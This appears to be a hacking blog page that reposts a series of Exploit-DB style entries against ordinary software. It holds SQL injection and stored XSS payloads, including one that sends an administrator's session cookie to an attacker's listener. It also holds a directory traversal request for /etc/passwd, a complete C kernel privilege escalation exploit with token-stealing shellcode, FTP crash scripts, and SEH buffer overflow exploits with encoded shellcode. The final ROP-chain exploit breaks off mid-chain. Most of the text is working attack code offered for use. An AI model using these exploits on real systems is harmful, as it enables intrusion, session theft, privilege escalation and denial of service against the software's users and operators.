Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863129038

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Bus Pass Management System 1.0 - 'Search' SQL injection
# Date: 23-11-2021
# Exploit Author: Abhijeet Singh
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/bus-pass-management-system-using-php-and-mysql/
# Version: v-1.0 (Default)
# Tested on: macOS Monterey(Version 12.0.1)

*SQL Injection:*
SQL injection is a web security vulnerability that allows an attacker to alter the SQL queries made to the database. This can be used to retrieve some sensitive information, like database structure, tables, columns, and their underlying data.

*Attack Vector:*
An attacker can compromise the database of the application using some automated(or manual) tools like SQLmap.

*Steps to reproduce:*
Step-1: Open 'View Pass' page using following URL:
http://127.0.0.1/buspassms/download-pass.php


2. Now put the below payload in the 'Search' field.
*Payload: *123' AND (SELECT 7169 FROM (SELECT(SLEEP(4)))abhi) AND 'x'='x

3. Server accepted our payload and the response got delayed by 4 seconds.

*IMPACT:*
As the vulnerable parameter is an external parameter (credentials not
required), an attacker can dump the database of the application remotely.

Suggested Mitigation/Remediation Actions
Parameterized queries should be used to separate the command and data
portions of the intended query to the database. These queries prevent
an attacker from tampering with the query logic and extending a
concatenated database query string. Code reviews should be conducted
to identify any additional areas where the application or other
applications in the organization are vulnerable to this attack.
Additionally, input validation should be enforced on the server side
in order to ensure that only expected data is sent in queries. Where
possible security specific libraries should be used in order to
provide an additional layer of protection.
            
# Exploit Title: Bus Pass Management System 1.0 - 'adminname' Stored Cross-Site Scripting (XSS)
# Date: 2021-09-08
# Exploit Author: Emre Aslan
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/wp-content/uploads/2021/07/Bus-Pass-Management-System-Using-PHP-MySQL.zip
# Version: 1.0
# Tested on: Windows 11 - XAMPP Server

# Vulnerable page: host/admin/*

# Vulnerable Code: <div class="user-info"><div><strong>Admin[PAYLOAD]</strong></div>

# Vulnerable Parameter: adminname[ POST Data ]

# Tested Payload: <svg/onload=alert('XSS')>

# Proof Of Concept:

# 1 - Login the dashboard
# 2 - Go to /admin/admin-profile.php
# 3 - set admin name with payload
# 4 - xss fires
            
# Exploit Title: Bus Pass Management System 1.0  - Stored Cross-Site Scripting (XSS)
# Date: 2021-09-17
# Exploit Author: Matteo Conti - https://deltaspike.io
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/wp-content/uploads/2021/07/Bus-Pass-Management-System-Using-PHP-MySQL.zip
# Version: 1.0
# Tested on: Ubuntu 18.04 - LAMP

# Description
The application permits to send a message to the admin from the section "contacts". Including a XSS payload in title or message,
maybe also in email bypassing the client side controls, the payload will be executed when the admin will open the message to read it.


# Vulnerable page: /admin/view-enquiry.php?viewid=1 (change the "view id" according to the number of the message)

# Tested Payload: <img src=http://localhost/buspassms/images/overlay.png width=0 height=0 onload=this.src='http://<YOUR-IP>:<YOUR-PORT>/?'+document.cookie>

# Prof of concept:

- From /contact.php, send a message containing the following payload in "title" or "message" fields:

<img src=http://localhost/buspassms/images/overlay.png width=0 height=0 onload=this.src='http://<YOUR-IP>:<YOUR-PORT>/?'+document.cookie>
(the first url have to be an existing image)

- Access with admin credentials, enter to /admin/unreadenq.php and click "view" near the new message to execute the payload. After the first view, you can execute again the payload from /admin/readenq.php

- Your listener will receive the PHP session id.
            
<!--
# # # # # 
# Exploit Title: Bus Booking Script 1.0 - SQL Injection
# Dork: N/A
# Date: 13.12.2017
# Vendor Homepage: http://www.phpautoclassifiedscript.com/
# Software Link: http://www.phpautoclassifiedscript.com/bus-booking-script.html
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-17645
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
-->
<html>
<body>
<form action="http://localhost/newbusbooking/admin/index.php" method="post" enctype="application/x-www-form-urlencoded" name="frmlogin" target="_self">
<input name="txtname" type="text" value="' UNION ALL SELECT 0x31,0x564552204159415249,0x33,0x34,0x35-- Ver Ayari"></div>
<input name="logbut" id="logbut" type="submit"></div>
</form>
</body>
</html>
            
Burning Board SQL Injection

Vendor: Woltlab GmbH
Product: Burning Board
Version: <= 2.3.1
Website: http://www.woltlab.de/

BID: 13643 
CVE: CVE-2005-1642 
OSVDB: 16575 
SECUNIA: 15395 
PACKETSTORM: 39262 

Description:
Burning Board is a popular, multi purpose forum / community software offered by WoltLab GmbH. There is an SQL Injection vulnerability in Burning Board 2.* and earlier that allows for an attacker to influence SQL Queries and possibly query arbitrary data from the database, such as admin password hashes. The developers are said to have made a patch available as of late last week, and all users should upgrade their Burning Board installations as soon as possible. 


SQL Injection Vulnerability:
Burning Board is prone to SQL Injection attacks that may allow for an attacker to query arbitrary database information, including admin password hashes. The vulnerability lies in the verify_email() function


function verify_email($email) {
 global $db, $n, $multipleemailuse, $ban_email;

 $email=strtolower($email);
 if(!preg_match("/^([_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*
 (\.[a-zA-Z]{2,}))/si",$email)) return false;
 $ban_email=explode("\n",preg_replace("/\s*\n\s*/","\n",strtolower(trim($ban_email))));
 for($i = 0; $i < count($ban_email); $i++) {
  $ban_email[$i]=trim($ban_email[$i]);
  if(!$ban_email[$i]) continue;
  if(strstr($ban_email[$i], "*")) {
   $ban_email[$i] = str_replace("*",".*",$ban_email[$i]);
   if(preg_match("/$ban_email[$i]/i",$email)) return false;
  }
  elseif($email==$ban_email[$i]) return false;
 }
 if($multipleemailuse==1) return true;
 else {
  $result = $db->query_first("SELECT COUNT(*) FROM bb".$n."_users WHERE email = '".$email."'");
  if($result[0]!=0) return false;
  else return true;
 }
}

As we can see from the code above, $email is never really sanitized. Sure, it has to match the regular expression above, but we can always do something like pass it an email address like this 

sre464hfrgt6@4g546ufgfrh5.org' OR (userid=1 AND MID(password,1,1)='a')/* 

Which would return an error message about the email already being in use or invalid if the first character of the password hash is 'a'. In order to keep from registering multiple accounts while trying to exploit this vulnerability an attacker simply would need to specify a username that is already in use. Also, it should be noted that it does not matter that $email is encapsulated in single quotes due to this bit of code in global.php

// remove slashes in get post cookie data...
if (get_magic_quotes_gpc()) {
  if(is_array($_REQUEST)) $_REQUEST=stripslashes_array($_REQUEST);
  if(is_array($_POST)) $_POST=stripslashes_array($_POST);
  if(is_array($_GET)) $_GET=stripslashes_array($_GET);
  if(is_array($_COOKIE)) $_COOKIE=stripslashes_array($_COOKIE);
}

This is not a very hard issue to exploit, and a user does not need to be authenticated to exploit it. Also, disabling user registrations is not a safe work around by itself as this issue also exists when a user edit's or update's their profile (in the email field). Exploit code for this issue exists, and has been released to the developers, but we will not be making it available to the public at this time. 


Solution:
The developers are said to have made a patch available as of late last week, and all users should upgrade their Burning Board installations as soon as possible. 


Credits:
James Bercegay of the GulfTech Security Research Team
            
# Title: Bullwark Momentum Series JAWS 1.0 - Directory Traversal
# Date: 2019-12-11
# Author: Numan Türle
# Vendor Homepage: http://www.bullwark.net/
# Version : Bullwark Momentum Series Web Server JAWS/1.0
# Software Link : http://www.bullwark.net/Kategoriler.aspx?KategoriID=24

POC
---------

GET /../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 12.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

Response
---------

root:ABgia2Z.lfFhA:0:0::/root:/bin/sh
            
/*

Exploit Title    - BullGuard Multiple Products Arbitrary Write Privilege Escalation
Date             - 04th February 2015
Discovered by    - Parvez Anwar (@parvezghh)
Vendor Homepage  - http://www.bullguard.com/
Tested Version   - 14.1.285.4
Driver Version   - 1.0.0.6 - BdAgent.sys
Tested on OS     - 32bit Windows XP SP3 
OSVDB            - http://www.osvdb.org/show/osvdb/114478
CVE ID           - CVE-2014-9642
Vendor fix url   - http://www.bullguard.com/about/release-notes.aspx
Fixed Version    - 15.0.288.1
Fixed driver ver - 1.0.0.7



Note
----
Overwritten HAL dispatch table after exploit 

kd> dps nt!HalDispatchTable l c
8054ccb8  00000003
8054ccbc  00340000
8054ccc0  00010000
8054ccc4  0a060002
8054ccc8  ee657645
8054cccc  00000001
8054ccd0  00000001
8054ccd4  867c1bf0
8054ccd8  80613f7b nt!IoSetPartitionInformation
8054ccdc  806141ef nt!IoWritePartitionTable
8054cce0  8052d157 nt!CcHasInactiveViews
8054cce4  804e42d1 nt!ObpTraceDepth+0x19

7 pointers get overwritten. Since input buffer is in our control and pointers
are static in XP I've triggered the overwrite again restoring the pointers.

*/


#include <stdio.h>
#include <windows.h>

#define BUFSIZE 4096


typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
     PVOID   Unknown1;
     PVOID   Unknown2;
     PVOID   Base;
     ULONG   Size;
     ULONG   Flags;
     USHORT  Index;
     USHORT  NameLength;
     USHORT  LoadCount;
     USHORT  PathLength;
     CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
 
typedef struct _SYSTEM_MODULE_INFORMATION {
     ULONG   Count;
     SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS { 
     SystemModuleInformation = 11,
     SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
     SYSTEM_INFORMATION_CLASS SystemInformationClass,
     PVOID SystemInformation,
     ULONG SystemInformationLength,
     PULONG ReturnLength);

typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)(
     DWORD ProfileSource, 
     PULONG Interval);

typedef void (*FUNCTPTR)(); 



// Windows XP SP3

#define XP_KPROCESS 0x44      // Offset to _KPROCESS from a _ETHREAD struct
#define XP_TOKEN    0xc8      // Offset to TOKEN from the _EPROCESS struct
#define XP_UPID     0x84      // Offset to UniqueProcessId FROM the _EPROCESS struct
#define XP_APLINKS  0x88      // Offset to ActiveProcessLinks _EPROCESS struct


BYTE token_steal_xp[] =
{
  0x52,                                                  // push edx                       Save edx on the stack
  0x53,	                                                 // push ebx                       Save ebx on the stack
  0x33,0xc0,                                             // xor eax, eax                   eax = 0
  0x64,0x8b,0x80,0x24,0x01,0x00,0x00,                    // mov eax, fs:[eax+124h]         Retrieve ETHREAD
  0x8b,0x40,XP_KPROCESS,                                 // mov eax, [eax+XP_KPROCESS]     Retrieve _KPROCESS
  0x8b,0xc8,                                             // mov ecx, eax
  0x8b,0x98,XP_TOKEN,0x00,0x00,0x00,                     // mov ebx, [eax+XP_TOKEN]        Retrieves TOKEN
  0x8b,0x80,XP_APLINKS,0x00,0x00,0x00,                   // mov eax, [eax+XP_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks
  0x81,0xe8,XP_APLINKS,0x00,0x00,0x00,                   // sub eax, XP_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks
  0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,  // cmp [eax+XP_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)
  0x75,0xe8,                                             // jne                     ---- 
  0x8b,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov edx, [eax+XP_TOKEN]        Retrieves TOKEN and stores on EDX
  0x8b,0xc1,                                             // mov eax, ecx                   Retrieves KPROCESS stored on ECX
  0x89,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov [eax+XP_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS
  0x5b,                                                  // pop ebx                        Restores ebx
  0x5a,                                                  // pop edx                        Restores edx
  0xc2,0x08                                              // ret 8                          Away from the kernel   
};



BYTE restore_pointers_xp[] =  // kd> dps nt!HalDispatchTable
"\xf2\xa3\x6f\x80"            // 8054ccbc  806fa3f2 hal!HaliQuerySystemInformation
"\xce\xa3\x6f\x80"            // 8054ccc0  806fa3ce hal!HaliSetSystemInformation
"\x0b\x46\x61\x80"            // 8054ccc4  8061460b nt!xHalQueryBusSlots
"\x00\x00\x00\x00"            // 8054ccc8  00000000
"\x4d\xac\x50\x80"            // 8054cccc  8050ac4d nt!HalExamineMBR
"\x89\x6f\x5c\x80"            // 8054ccd0  805c6f89 nt!IoAssignDriveLetters
"\xe5\x4a\x5c\x80";           // 8054ccd4  805c4ae5 nt!IoReadPartitionTable



DWORD HalDispatchTableAddress() 
{
    _NtQuerySystemInformation    NtQuerySystemInformation;
    PSYSTEM_MODULE_INFORMATION   pModuleInfo;
    DWORD                        HalDispatchTable;
    CHAR                         kFullName[256];
    PVOID                        kBase = NULL;
    LPSTR                        kName;
    HMODULE                      Kernel;
    FUNCTPTR                     Hal;
    ULONG                        len;
    NTSTATUS                     status;


    NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
 	
    if (!NtQuerySystemInformation)
    {
        printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
        return -1;  
    }

    status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);

    if (!status) 
    {
        printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status);
        return -1;
    }
		
    pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);

    if(pModuleInfo == NULL)
    {
        printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n");
        return -1;
    }

    status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
	
    memset(kFullName, 0x00, sizeof(kFullName));
    strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName);
    kBase = pModuleInfo->Module[0].Base;

    printf("[i] Kernel base name %s\n", kFullName);
    kName = strrchr(kFullName, '\\');

    Kernel = LoadLibraryA(++kName);

    if(Kernel == NULL) 
    {
        printf("[-] Failed to load kernel base\n\n");
        return -1;
    }

    Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable");

    if(Hal == NULL)
    {
        printf("[-] Failed to find HalDispatchTable\n\n");
        return -1;
    }
    
    printf("[i] HalDispatchTable address 0x%08x\n", Hal);	
    printf("[i] Kernel handle 0x%08x\n", Kernel);
    printf("[i] Kernel base address 0x%08x\n", kBase);          

    HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase);

    printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable);

    if(!HalDispatchTable)
    {
        printf("[-] Failed to calculate HalDispatchTable\n\n");
	return -1;
    }

    return HalDispatchTable;
}


int GetWindowsVersion()
{
    int v = 0;
    DWORD version = 0, minVersion = 0, majVersion = 0;

    version = GetVersion();

    minVersion = (DWORD)(HIBYTE(LOWORD(version)));
    majVersion = (DWORD)(LOBYTE(LOWORD(version)));

    if (minVersion == 1 && majVersion == 5) v = 1;  // "Windows XP;
    if (minVersion == 1 && majVersion == 6) v = 2;  // "Windows 7";
    if (minVersion == 2 && majVersion == 5) v = 3;  // "Windows Server 2003;

    return v;
}


void spawnShell()
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;


    ZeroMemory(&pi, sizeof(pi));
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);

    si.cb          = sizeof(si); 
    si.dwFlags     = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOWNORMAL;

    if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
    {
        printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
        return;
    }

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}


int main(int argc, char *argv[]) 
{

    _NtQueryIntervalProfile     NtQueryIntervalProfile;
    LPVOID                      input[1] = {0};   
    LPVOID                      addrtoshell;
    HANDLE                      hDevice;
    DWORD                       dwRetBytes = 0;
    DWORD                       HalDispatchTableTarget;                
    ULONG                       time = 0;
    unsigned char               devhandle[MAX_PATH]; 


    printf("-------------------------------------------------------------------------------\n");
    printf("     BullGuard Multiple Products (bdagent.sys) Arbitrary Write EoP Exploit     \n");
    printf("                         Tested on Windows XP SP3 (32bit)                      \n");
    printf("-------------------------------------------------------------------------------\n\n");

    if (GetWindowsVersion() == 1) 
    {
        printf("[i] Running Windows XP\n");
    }

    if (GetWindowsVersion() == 0) 
    {
        printf("[i] Exploit not supported on this OS\n\n");
        return -1;
    }  

    sprintf(devhandle, "\\\\.\\%s", "bdagent");

    NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
 	
    if (!NtQueryIntervalProfile)
    {
        printf("[-] Unable to resolve NtQueryIntervalProfile\n\n");
        return -1;  
    }
   
    addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if(addrtoshell == NULL)
    {
        printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError());
        return -1;
    }
    printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell);

    memset(addrtoshell, 0x90, BUFSIZE);
    memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp));
    printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));

    hDevice = CreateFile(devhandle, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());
        return -1;
    }
    else 
    {
        printf("[+] Open %s device successful\n", devhandle);
    }

    HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD);
    printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget);

    input[0] = addrtoshell;  // input buffer contents gets written to our output buffer address
                    
    printf("[+] Input buffer contents %08x\n", input[0]);
 	
    printf("[~] Press any key to send Exploit  . . .\n");
    getch();

    DeviceIoControl(hDevice, 0x0022405c, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);

    printf("[+] Buffer sent\n");

    printf("[+] Spawning SYSTEM Shell\n");
    NtQueryIntervalProfile(2, &time);
    spawnShell();

    printf("[+] Restoring Hal dispatch table pointers\n\n");

    DeviceIoControl(hDevice, 0x0022405c, restore_pointers_xp, sizeof(restore_pointers_xp)-1, (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);

    CloseHandle(hDevice);

    return 0;
}
            
#Exploit Title: BulletProof FTP Server 2019.0.0.50 - 'Storage-Path' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-18
#Vendor Homepage: http://bpftpserver.com/
#Software Link: http://bpftpserver.com/products/bpftpserver/windows/download
#Tested Version: 2019.0.0.50
#Tested on: Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: BulletProof_Storage_Server_2019.0.0.50.py
#2.- Open bullet_storage.txt and copy content to clipboard
#3.- Open BulletProof FTP Server
#4.- Select "Settings" > "Advanced"
#5.- Enable "Override Storage-Path" and Paste Clipboard
#6.- Click on "Save"
#7.- Crashed

cod = "\x41" * 500

f = open('bullet_storage.txt', 'w')
f.write(cod)
f.close()
            
#Exploit Title: BulletProof FTP Server 2019.0.0.50 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2018-02-19
#Vendor Homepage: http://bpftpserver.com/
#Software Link: http://bpftpserver.com/products/bpftpserver/windows/download
#Tested Version: 2019.0.0.50
#Tested on: Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: BulletProof_FTP_Server_2019.0.0.50.py
#2.- Open bullet.txt and copy content to clipboard
#3.- Open BulletProof FTP Server
#4.- Select "Settings" > "SMTP"
#5.- In "Email Server" select "SMTP Server" and Paste Clipboard
#6.- Click on "Test"
#7.- Crashed

cod = "\x41" * 257

f = open('bullet.txt', 'w')
f.write(cod)
f.close()
            
#Exploit Title: BulletProof FTP Server 2019.0.0.50 - 'DNS Address' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-18
#Vendor Homepage: http://bpftpserver.com/
#Software Link: http://bpftpserver.com/products/bpftpserver/windows/download
#Tested Version: 2019.0.0.50
#Tested on: Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: BulletProof_DNS_Server_2019.0.0.50.py
#2.- Open bullet_storage.txt and copy content to clipboard
#3.- Open BulletProof FTP Server
#4.- Select "Settings" > "Protocols" > "FTP" > "Firewall"
#5.- Enable "DNS Address" and Paste Clipboard
#6.- Click on "Test"
#7.- Crashed

cod = "\x41" * 700

f = open('bullet_dns.txt', 'w')
f.write(cod)
f.close()
            
#!/usr/bin/env ruby
# Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow (SEH) Exploit
# Date: Dec 03 2014
# Vulnerability Discovery: Gabor Seljan
# Exploit Author: Muhamad Fadzil Ramli <mind1355[at]gmail.com>
# Software Link: http://www.bpftp.com/
# Version: 2010.75.0.76
# Tested on: Microsoft Windows XP SP3 EN [Version 5.1.2600]
# CVE: CVE-2014-2973
# Notes: bypass stack size limitation for bigger payload. Allocate 2nd
# shellcode in heap and copy back to stack. This exploit use egghunter
# to locate 2nd shellcode in heap and copy to stack using memcpy function.

# Offset
seh = 93
filename = "xsession.bps"
buff = "A" * 400

# ./msfvenom -p windows/messagebox TEXT="Hello Exploit-DB" EXITFUNC=process -b '\x00\x0a\x0d\x1a' -e x86/shikata_ga_nai -f ruby
heap_sc =
"w00tw00t" +
"\xba\xaa\x8c\x8e\xda\xdb\xd3\xd9\x74\x24\xf4\x5f\x2b\xc9" +
"\xb1\x44\x31\x57\x14\x83\xef\xfc\x03\x57\x10\x48\x79\x57" +
"\x31\x17\x5b\x1c\xe2\xd3\x6d\x0f\x58\x6c\xbf\x66\xf9\x19" +
"\xce\x48\x89\x6b\x3d\x22\xfb\x8f\xb6\x72\x0c\x24\xb6\x5a" +
"\x87\x0c\x7f\xd4\x8f\x05\x8c\xb3\xae\x34\x8d\xa5\xd1\x3d" +
"\x1e\x02\x36\xca\x9a\x76\xbd\x98\x0c\xff\xc0\xca\xc6\xb5" +
"\xda\x81\x83\x69\xda\x7e\xd0\x5e\x95\x0b\x23\x14\x24\xe5" +
"\x7d\xd5\x16\x39\x81\x85\xdd\x79\x0e\xd1\x1c\xb6\xe2\xdc" +
"\x59\xa3\x09\xe5\x19\x17\xda\x6f\x03\xdc\x40\xb4\xc2\x09" +
"\x12\x3f\xc8\x86\x50\x65\xcd\x19\x8c\x11\xe9\x92\x53\xce" +
"\x7b\xe0\x77\x12\x1d\x2b\xc5\x22\xf4\x7f\xa3\xd6\x8f\xbd" +
"\xdc\x96\xde\x4f\xf1\xf5\x36\xd0\xf6\x05\x39\x67\x4d\xfe" +
"\x7d\x09\x96\x1c\xf2\x72\x3a\xc5\xa7\x94\xcd\xfa\xb7\x9b" +
"\x5b\x41\x40\x0b\x30\x26\x70\x8a\xa0\x85\x42\x22\x55\x82" +
"\xd7\x49\xf0\x20\x90\xf1\xde\xce\x29\xef\x49\x30\x7c\xeb" +
"\xfc\x0c\x2f\x48\x56\x32\x9d\x12\x20\x2f\x3a\x38\xc7\x31" +
"\xbd\x43\xe8\xda\x2e\xc3\x4f\x3b\xd9\x52\x17\x5e\x5b\xfc" +
"\x9a\xc5\x28\x8f\x15\xdd\x47\x33\x72\xeb\xde\x28\x12\xb3" +
"\xc0\x8e\xc3\x2b\x75\xe3\x47\xee\x1d\x8b\x2b\x81\xb4\x03" +
"\xdb\x7d\x02\xab\x4b\x36\xe9\x27\xe0\xf7\x38\x3f\xb4\xd3" +
"\xaa\xb6\xa4\x2d\x19\x9a\x75\x1f\xcf\xe5\xaa\xae\x2f\x49" +
"\xb4\x84\xa7"

# badchar '\x00\x0a\x0d\x1a\xb1\x83\xb2'
# only locate 1st heap address :P
heap_addr =
"\x50" + # push eax
"\xbb\xaf\x77\x77\x77" + # mov ebx,777777afh
"\x81\xeb\x7f\x77\x77\x77" + # sub ebx,7777777fh
"\x64\x8b\x1b" + # mov ebx,dword ptr fs:[ebx]
"\xb9\x0f\x78\x77\x77" + # mov ebx,7777780Fh
"\x81\xe9\x7f\x77\x77\x77" + # sub ecx,7777777fh
"\x8b\x1c\x0b" + # mov ebx,dword ptr [ebx+ecx]
"\x8b\x1b" #  mov ebx,dword ptr [ebx]

egghunter =
"\x8b\xd3\xeb\x05" + # mov edx,ebx # jmp $+7h
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e" +
"\x3c\x05\x5a\x74\xef\xb8" +
"\x77\x30\x30\x74" + # our tag 'w00t'
"\x8b\xfa\xaf\x75\xea\xaf" +
"\x75\xe7"

memcpy_func =
"\x58" + # pop eax # esp
"\x81\xc4\x54\xf2\xff\xff" + # add esp,-3500
"\xb9\xef\xe6\x3b\xef" + # mov ecx,0xef3be6ef
"\x81\xe9\x7f\x77\x77\x77" + # sub ecx,0x7777777f
"\x89\x08" + # mov [eax],ecx # memcpy() static address
"\x89\xc1" + # mov ecx,eax
"\x83\xc1\x10" + # add ecx,10h
"\x89\x48\x04" + # mov [eax+4h],ecx # void *dest
"\x89\x48\x08" + # mov [eax+8h],ecx # void *dest
"\x89\x78\x0c" + # mov [eax+0ch],edi # const wchar_t *src (shellcode)
"\xb9\x8d\x79\x77\x77" + # mov ecx,0x7777798d
"\x81\xe9\x7f\x77\x77\x77" + # sub ecx,0x7777777f
"\x89\x48\x10" + # mov [eax+10h],ecx # size_t count
"\x94\xc3" # xchg eax,esp # retn

stack_sc = heap_addr + egghunter + memcpy_func

# GetPC
buff[1,2] = "\xd9\xeb"                      # fldpi
buff[3,5] = "\x9b\xd9\x74\x24\xf4"          # fstenv [esp-0xc]
buff[8,1] = "\x58" # pop eax                # pop esp into eax

# FixRet stub 
buff[9,7] = "\xc7\x40\x44\x45\x45\x45\x45"  # (1)
buff[16,7] = "\xc7\x40\x58\x45\x45\x45\x45" # (2) place holder for jmp
buff[23,7] = "\xc7\x40\x5c\x45\x45\x45\x45" # (3) place holder for ppr

buff[30,stack_sc.size] = stack_sc

# restore 1st shellcode
buff[12,4] = buff[seh-24,4]                 # replace with original sc (1)
buff[19,4] = buff[seh-4,4]                  # replace with original sc (2)
buff[26,4] = buff[seh,4]                    # replace with original sc (3)

buff[seh-4,4] = "\xeb\xa6\x41\x41" # jmp $-166
buff[seh,4] = [0x72d11f39].pack('V').force_encoding("utf-8") # ppr : msacm32.drv only non-safeseh without null

bps =
"\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20\x42\x75" +
"\x6C\x6C\x65\x74\x50\x72\x6F\x6F\x66\x20\x46\x54" +
"\x50\x20\x43\x6C\x69\x65\x6E\x74\x20\x53\x65\x73" +
"\x73\x69\x6F\x6E\x2D\x46\x69\x6C\x65\x20\x61\x6E" +
"\x64\x20\x73\x68\x6F\x75\x6C\x64\x20\x6E\x6F\x74" +
"\x20\x62\x65\x20\x6D\x6F\x64\x69\x66\x69\x65\x64" +
"\x20\x64\x69\x72\x65\x63\x74\x6C\x79\x2E\x0D\x0A" +
buff + "\x0D\x0A\x61\x6E" +
"\x6F\x6E\x79\x6D\x6F\x75\x73\x0D\x0A" + heap_sc + "\x62\x70\x69" +
"\x63\x70\x6C\x6E\x6B\x69\x69\x62\x6D\x66\x65\x0D" +
"\x0A"

File.open(filename,"wb") do |fp|
  fp.write(bps)
  puts "Exploit file: #{filename} size: #{bps.size}"
  fp.close
end
            
#-----------------------------------------------------------------------------#
# Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow (SEH)          #
# Date: Feb 15 2015                                                           #
# Exploit Author: Gabor Seljan                                                #
# Software Link: http://www.bpftp.com/                                        #
# Version: 2010.75.0.76                                                       #
# Tested on: Windows XP SP3 English                                           #
# Credits: His0k4                                                             #
# CVE: CVE-2008-5753                                                          #
#-----------------------------------------------------------------------------#

#!/usr/bin/python

from struct import pack

# offset to SEH is 93 byte
buf  = b'A' * 13
buf += pack('<L',0x77c1f62f)          # POP ECX # POP ECX # POP EDI # POP EBX # POP EBP # RETN [msvcrt.dll]
buf += b'A' * 20
buf += pack('<L',0x74c86a99)          # POP ESI # RETN [oleacc.dll]
buf += b'A' * 4
buf += pack('<L',0x77c4dca8)          # ADD ESP,2C # RETN [msvcrt.dll]
buf += b'A' * 18
buf += pack('<L',0x77c1c47f)          # POP EBX # POP EBP # RETN 10 [msvcrt.dll]
buf += b'A' * 8
buf += pack('<L',0x74c86a9a)          # RETN [oleacc.dll]
buf += b'A' * 10
buf += b'\xce\xc3\x40'                # ADD ESP,400 # POP ESI # POP EBX # RETN [bpftpclient.exe]

# ROP chain
rop_gadgets  = b''
rop_gadgets += pack('<L',0x77c364d5)  # POP EBP # RETN [msvcrt.dll]
rop_gadgets += pack('<L',0x77c364d5)  # skip 4 bytes [msvcrt.dll]
rop_gadgets += pack('<L',0x77c21d16)  # POP EAX # RETN [msvcrt.dll]
rop_gadgets += pack('<L',0xfffffafe)  # Value to negate, will become 0x00000501
